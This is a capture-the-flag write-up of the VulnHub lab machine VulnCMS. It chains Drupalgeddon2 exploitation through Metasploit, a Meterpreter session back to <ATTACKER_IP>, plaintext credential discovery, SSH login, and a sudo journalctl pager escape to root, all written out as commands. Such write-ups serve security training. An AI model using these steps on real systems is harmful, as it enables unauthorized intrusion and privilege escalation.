VulnCMS is a Medium-difficulty VulnHub machine that runs multiple web services simultaneously. The attack chain starts with a service scan across several non-standard ports, identifies a vulnerable Drupal installation, and exploits it using the well-known Drupalgeddon2 remote code execution vulnerability. Once on the box, plaintext credentials left in a password file allow lateral movement into a system account. A misconfigured sudo entry for journalctl then provides a clean privilege escalation path to root.
01_Reconnaissance
A targeted Nmap scan against the five known ports reveals multiple web services running in parallel. This is the defining characteristic of VulnCMS — the machine intentionally hosts several CMS instances so that the attacker must identify which one is exploitable.
$ sudo nmap -p22,80,5000,8081,9001 <TARGET_IP> -sV -A -sC
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.x
80/tcp open http Apache httpd (Drupal)
5000/tcp open http (additional CMS service)
8081/tcp open http (additional CMS service)
9001/tcp open http (additional CMS service)
Browsing to port 80 reveals a Drupal installation. Manual inspection of the page source and the CHANGELOG.txt file (accessible at http://<TARGET_IP>/CHANGELOG.txt) confirms the Drupal version. This version falls within the range affected by CVE-2018-7600, commonly known as Drupalgeddon2 — a critical unauthenticated remote code execution vulnerability.
Key Finding
Drupal versions prior to 7.58 and 8.x prior to 8.3.9 / 8.4.6 / 8.5.1 are vulnerable to CVE-2018-7600 (Drupalgeddon2). The vulnerability allows unauthenticated remote code execution through the Form API's #access_callback property, which Drupal fails to sanitize before invoking.
02_Exploitation — Drupalgeddon2
Metasploit includes a reliable module for Drupalgeddon2. Launch the framework, select the module, set the required options, and run the exploit to obtain a Meterpreter session as www-data.
$ msfconsole -q msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 msf6 exploit(...) > set RHOSTS <TARGET_IP> msf6 exploit(...) > set LHOST <ATTACKER_IP> msf6 exploit(...) > run [*] Meterpreter session 1 opened meterpreter > shell
The exploit delivers a Meterpreter session. Dropping into a shell gives us command execution as www-data. The web server user typically has read access to the Drupal installation directory, which is where we look next.
03_Credential_Discovery
Navigating into the Drupal misc directory reveals a file named tyrell.pass. This is a plaintext credential file left behind in a non-standard location — an operational security failure on the part of the machine's administrator.
$ cd /var/www/html/drupal/misc
$ cat tyrell.pass
Username: tyrell
Password: [REDACTED]
Technique Note — Plaintext Credentials in Web Root
Storing credentials in files within the web root is a critical misconfiguration. During any post-exploitation phase, searching for .pass, .creds, and .txt files under web directories should be a standard step. The command find /var/www -name "*.pass" 2>/dev/null automates this discovery.
04_Lateral_Movement — SSH as Tyrell
The credentials recovered from tyrell.pass are tested against the SSH service running on port 22. The login succeeds, granting us a proper interactive shell as the user tyrell.
$ ssh tyrell@<TARGET_IP>
Password: [REDACTED]
tyrell@vuln_cms:~$ id
uid=1001(tyrell) gid=1001(tyrell) groups=1001(tyrell)
With a stable SSH session established, the next step is to enumerate what sudo permissions this user has been granted.
05_PrivEsc — journalctl GTFOBins
Running sudo -l reveals that tyrell can execute /bin/journalctl as root without a password. This is a documented GTFOBins vector — journalctl invokes a pager (typically less) when its output exceeds the terminal height, and less allows shell escapes.
tyrell@vuln_cms:~$ sudo -l Matching Defaults entries for tyrell on vuln_cms: env_reset, mail_badpass User tyrell may run the following commands on vuln_cms: (root) NOPASSWD: /bin/journalctl tyrell@vuln_cms:~$ sudo journalctl # journalctl opens the pager (less). Type the following inside the pager: !/bin/bash root@vuln_cms:~# root@vuln_cms:~# whoami root
Technique Note — journalctl GTFOBins
When journalctl is run with output longer than the current terminal height, it pipes output through less. The ! operator inside less executes an arbitrary shell command as the invoking user. Since sudo journalctl runs as root, the spawned shell is also root. To reliably trigger the pager, shrink the terminal window before running the command. This technique is documented at GTFOBins — journalctl.
06_Attack_Chain_Summary
- 01 Nmap scan → ports 22 (SSH), 80, 5000, 8081, 9001 (HTTP services)
- 02 Port 80 → Drupal CMS identified → version confirmed via CHANGELOG.txt
- 03 CVE-2018-7600 (Drupalgeddon2) → Metasploit → Meterpreter as www-data
- 04 /var/www/html/drupal/misc/tyrell.pass → plaintext credentials for tyrell
- 05 SSH as tyrell using recovered credentials
- 06 sudo -l → (root) NOPASSWD: /bin/journalctl
- 07 sudo journalctl → pager (less) → !/bin/bash → ROOT